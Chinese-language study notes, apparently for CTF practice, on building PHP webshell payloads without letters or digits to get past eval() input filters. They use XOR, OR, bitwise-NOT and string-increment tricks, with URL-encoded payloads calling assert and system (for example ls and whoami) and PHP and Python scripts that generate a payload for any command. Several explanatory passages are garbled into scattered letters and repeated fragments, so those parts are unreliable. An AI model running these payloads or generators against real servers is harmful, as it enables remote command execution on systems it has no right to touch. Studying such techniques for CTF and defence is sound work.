基础知识
异或
<?php
function p(){
echo "这是异或的p";
}
$_++; //自增
var_dump($_++);
$__="1" ^ "a"; //这是异或 然后赋值给$__
var_dump($__);
$__(); //调用$__ 他们异或后的值是p
?>
当调用 $__ 的时候 方法p 会执行 ,并输出 这是异或的p
虽然这里报错了。不影响
取反
利用的是 UTF-8 编码的某个汉字,将其中某个字符取出来,比如’和’{2}的结果是"\x8c",其再取反即可得到字母s
<?php
echo ~('瞰'{1}); // a
echo ~('和'{2}); // s
echo ~('和'{2}); // s
echo ~('的'{1}); // e
echo ~('半'{1}); // r
echo ~('始'{2}); // t
?>
执行之后会输出assert 这个值 。
自增
简单来说就是 $_ =“A”; 通过自增 $_++; 加1 然后变成了B
<?php
$_="A";
$_++;
echo $_;
?>
他就会输出B
那我们怎么去开头获取一个英文字符呢 ,
这里可以先通过一个数组 [] ,数组会显示array
来测试一下
<?php
$_ = [];
var_dump($_);
?>
显示 array(0) ,如果在[]后面加一个 1呢
在尝试拼接空字符
就会变成了字符串 array了
成功获取到了字符Array,然后我们获取想获取A的话,就可以采用
[
0
]
这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断
,
比如我们在
[
]
里加一个
=
=
_[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==
[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==,此时因为空和
不同,它就会输出
0
,此时也就等同于
不同,它就会输出0,此时也就等同于
不同,它就会输出0,此时也就等同于_[0],具体实现代码如下
<?php
$_=[]."";
$_=$_[''=='$'];
var_dump($_);
?>
这样就能获取到A 了
然后我们在通过自增获取到B
<?php
$_=[]."";
$_=$_[''=='$'];
var_dump($_);
echo "<br>";
$_++;
var_dump($_);
?>
然后看我们这里的代码的话,是eval(
c
o
d
e
)
,所以我们就可以构造这种的
code),所以我们就可以构造这种的
code),所以我们就可以构造这种的_GET1,这个时候我们就可以system(ls)这种命令的执行
<?php
$_=[].'';//Array
$_=$_[''=='$'];//A
$_++;//B
$_++;//C
$_++;//D
$_++;//E
$__=$_;//E
$_++;//F
$_++;//G
$___=$_;//G
$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;//T
$_=$___.$__.$_;//GET
//var_dump($_);
$_='_'.$_;//_GET
var_dump($$_[_]($$_[__]));
//$_GET[_]($_GET[__])
把注释去掉 然后变成一行 就变成了 G E T [ ] ( _GET[_]( GET[](_GET[__])
$_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]);
url编码一次
%24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B
在post传入 get传入 _=system&__=ls
这样就成功执行了命令
PHP 短标签
常见的 PHP 标签就是<?php ?>了,但是 PHP 中还有两种短标签,即<? ?>和<?= ?>。
当关键字 “php” 被过滤了之后,此时我们便不能使用<?php ?>了,但是我们可以用另外两种短标签进行绕过
并且在短标签中的代码不需要使用分号;。
其中,<? ?>相当于对<?php ?>的替换。而<?= ?>则是相当于<?php echo ... ?>。例如:
<?='Hello World'?> // 输出 “Hello World”
PHP 中的反引号
PHP中,反引号可以直接命令执行系统命令,但是如果想要输出执行结果还需要使用 echo 等函数:
<?php echo `ls /`;?>
<?= `ls /`?>
PHP 5 和 PHP 7 的区别
(1)在 PHP 5 中,assert()是一个函数,我们可以用
=
a
s
s
e
r
t
;
_=assert;
=assert;_()这样的形式来实现代码的动态执行。但是在 PHP 7 中,assert()变成了一个和eval()一样的语言结构,不再支持上面那种调用方法。(但是好像在 PHP 7.0.12 下还能这样调用)
(2)PHP5中,是不支持($a)()这种调用方法的,但在 PHP 7 中支持这种调用方法,因此支持这么写(‘phpinfo’)();
异或绕过
<?php
highlight_file(__FILE__);
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}
else{
echo("fucccc hacker!!");
}
?>
这个题目
使用这个脚本绕过
异或脚本1
<?php
$shell = "assert";
$result1 = "";
$result2 = "";
for($num=0;$num<=strlen($shell);$num++)
{
for($x=33;$x<=126;$x++)
{
if(judge(chr($x)))
{
for($y=33;$y<=126;$y++)
{
if(judge(chr($y)))
{
$f = chr($x)^chr($y);
if($f == $shell[$num])
{
$result1 .= chr($x);
$result2 .= chr($y);
break 2;
}
}
}
}
}
}
echo $result1;
echo "<br>";
echo $result2;
function judge($c)
{
if(!preg_match('/[a-z0-9]/is',$c))
{
return true;
}
return false;
}
里面的shell 和 匹配字符 和那个 匹配规则都是可以根据题目来修改的
然后来构造 根据上面那个题目
构造assert($POST[])
先生成assert的字符
!((%)(<br>@[[@[\
再生成 _POST
!+/((<br>~{`{|
其中的
是换行 要去掉 换成 “^” ,
就变成了 assert($POST[]);
$_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___[_]);
然后发送的时候再url编码一下
%24_%20%3D%20%22!((%25)(%22%5E%22%40%5B%5B%40%5B%5C%5C%22%3B%24__%20%3D%20%22!%2B%2F((%22%5E%22~%7B%60%7B%7C%22%3B%24___%20%3D%20%24%24__%3B%24_(%24___%5B_%5D)%3B
脚本二
<?php
$myfile = fopen("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/异或/xor_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[a-z0-9]/i'; // 根据题目给的正则表达式修改即可
if (preg_match($preg, hex2bin($hex_i)) || preg_match($preg, hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) ^ urldecode($b));
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
?>
再根据生成的文件 ,生成payload
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/异或/xor_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)s
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"^\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
[+] your function:system
[+] your command:whoami
("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%08%08%0f%01%0d%09"^"%7f%60%60%60%60%60");
记住这里要看php的版本
或运算
PHP 中两个字符串异或之后得到的还是一个字符串。那么或运算原理也是一样,如果正则匹配过滤了字母和数字,那就可以使用两个不在正则匹配范围内的非字母非数字的字符进行或运算,从而得到我们想要的字符串。
<?php
$myfile = fopen("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/或运算/or_rce.txt", "w");
$contents = "";
for ($i = 0; $i < 256; $i++) {
for ($j = 0; $j < 256; $j++) {
if ($i < 16) {
$hex_i = '0' . dechex($i);
} else {
$hex_i = dechex($i);
}
if ($j < 16) {
$hex_j = '0' . dechex($j);
} else {
$hex_j = dechex($j);
}
$preg = '/[0-9a-z]/i'; // 根据题目给的正则表达式修改即可
if (preg_match($preg , hex2bin($hex_i)) || preg_match($preg , hex2bin($hex_j))) {
echo "";
} else {
$a = '%' . $hex_i;
$b = '%' . $hex_j;
$c = (urldecode($a) | urldecode($b));
if (ord($c) >= 32 & ord($c) <= 126) {
$contents = $contents . $c . " " . $a . " " . $b . "\n";
}
}
}
}
fwrite($myfile, $contents);
fclose($myfile);
?>
# -*- coding: utf-8 -*-
def action(arg):
s1 = ""
s2 = ""
for i in arg:
f = open("C:/Users/chenxL/Desktop/脚本/无参数 无字符RCE/或运算/or_rce.txt", "r")
while True:
t = f.readline()
if t == "":
break
if t[0] == i:
# print(i)
s1 += t[2:5]
s2 += t[6:9]
break
f.close()
output = "(\"" + s1 + "\"|\"" + s2 + "\")"
return output
while True:
param = action(input("\n[+] your function:")) + action(input("[+] your command:")) + ";"
print(param)
取反
这里使用的是位运算里的 “取反” 运算
url编码取反绕过
以下两个都可以使用
import sys
import urllib.parse
# 从命令行读取用户输入的函数和命令
print('[+]your function: ', end='')
system = input().strip()
print('[+]your command: ', end='')
command = input().strip()
# 替换字符并构造字符串
system = system.replace("\r\n", "").replace("\r", "").replace("\n", "")
command = command.replace("\r\n", "").replace("\r", "").replace("\n", "")
# 辅助函数执行取反和 URL 编码
def reverse_and_encode(s):
return ''.join('%{:02x}'.format(255 - ord(c)) for c in s)
# 对字符串进行取反和 URL 编码
system_encoded = reverse_and_encode(system)
command_encoded = reverse_and_encode(command)
# 构造输出字符串
output = '[*] (~' + system_encoded + ')(~' + command_encoded + ');'
print(output)
<?php
//在命令行中运行
fwrite(STDOUT, '[+]your function: ');
$system = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
fwrite(STDOUT, '[+]your command: ');
$command = str_replace(array("\r\n", "\r", "\n"), "", fgets(STDIN));
echo '[*] (~' . urlencode(~$system) . ')(~' . urlencode(~$command) . ');';
?>
自增
<?php
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;
$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;
$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);
缩减后的
$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);
执行的时候要进行url编码
绕过下划线 分号 &
看这篇文章
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
参考:
无字母数字RCE的一些总结 - xiaofeiji’s Blog
从CTFShow[RCE挑战]中学习无字母数字构造webshell - 先知社区
老生常谈的无字母数字 Webshell 总结 - FreeBuf网络安全行业门户
无数字字母rce总结(取反、异或、自增、临时文件)-CSDN博客
无字母数字webshell总结 - 先知社区
无字母数字webshell之提高篇 | 离别歌
奇安信攻防社区-针对常规无字母RCE的通用辅助脚本开发
利用shell脚本变量构造无字母数字命令 - 先知社区